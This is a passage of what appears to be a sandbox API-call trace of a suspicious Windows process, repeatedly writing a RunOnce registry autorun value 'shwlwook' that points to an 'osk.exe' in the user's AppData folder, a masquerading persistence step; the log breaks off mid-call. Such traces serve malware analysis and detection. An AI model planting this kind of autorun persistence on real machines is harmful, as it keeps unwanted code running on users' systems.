0x0 [0278.447] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.447] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.448] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.448] RegCloseKey (hKey=0x644) returned 0x0 [0278.448] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.448] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.463] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.463] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.463] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.464] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.464] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.464] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.464] RegCloseKey (hKey=0x644) returned 0x0 [0278.464] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.465] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.480] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.480] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.480] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.481] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.481] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.481] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.481] RegCloseKey (hKey=0x644) returned 0x0 [0278.481] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.482] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.493] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.493] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.496] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.496] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.496] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.496] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.497] RegCloseKey (hKey=0x644) returned 0x0 [0278.497] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.497] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.514] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.514] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.515] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.515] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.516] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.516] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.516] RegCloseKey (hKey=0x644) returned 0x0 [0278.516] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.516] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.575] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.575] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.575] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.576] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.576] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.576] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.576] RegCloseKey (hKey=0x644) returned 0x0 [0278.577] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.577] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.605] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.605] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.605] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.606] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.606] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.606] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.606] RegCloseKey (hKey=0x644) returned 0x0 [0278.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.607] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.624] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.624] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.624] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.625] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.625] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.625] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.625] RegCloseKey (hKey=0x644) returned 0x0 [0278.625] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.626] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.636] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.636] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.637] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.637] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.637] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.638] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.638] RegCloseKey (hKey=0x644) returned 0x0 [0278.638] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.638] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.652] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.652] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.652] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.653] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.653] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.653] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.653] RegCloseKey (hKey=0x644) returned 0x0 [0278.654] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.654] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.665] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.665] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.665] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.666] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.666] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.666] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.666] RegCloseKey (hKey=0x644) returned 0x0 [0278.666] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.667] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.683] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.683] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.683] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.684] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.684] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.684] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.684] RegCloseKey (hKey=0x644) returned 0x0 [0278.685] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.685] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.699] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.699] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.699] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.700] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.700] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.700] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.700] RegCloseKey (hKey=0x644) returned 0x0 [0278.700] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.701] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.720] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.720] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.720] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.721] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.721] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.721] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.721] RegCloseKey (hKey=0x644) returned 0x0 [0278.721] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.722] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.727] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.727] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.728] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.728] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.728] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.728] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.729] RegCloseKey (hKey=0x644) returned 0x0 [0278.729] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.729] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.746] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.746] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.747] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.747] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.747] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.747] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.748] RegCloseKey (hKey=0x644) returned 0x0 [0278.748] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.748] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.762] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.762] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.762] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.763] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.763] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.763] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.763] RegCloseKey (hKey=0x644) returned 0x0 [0278.763] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.764] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.774] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.774] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.775] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.775] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.775] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.776] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.776] RegCloseKey (hKey=0x644) returned 0x0 [0278.776] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.776] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.791] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.791] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.792] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.792] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.793] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.793] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.793] RegCloseKey (hKey=0x644) returned 0x0 [0278.793] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.793] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.808] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.808] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.809] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.809] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.809] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.809] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.810] RegCloseKey (hKey=0x644) returned 0x0 [0278.810] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.810] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.837] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.837] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.838] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.838] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.838] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.839] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.839] RegCloseKey (hKey=0x644) returned 0x0 [0278.839] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.839] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.852] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.852] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.853] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.853] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.853] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.853] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.854] RegCloseKey (hKey=0x644) returned 0x0 [0278.854] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.854] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 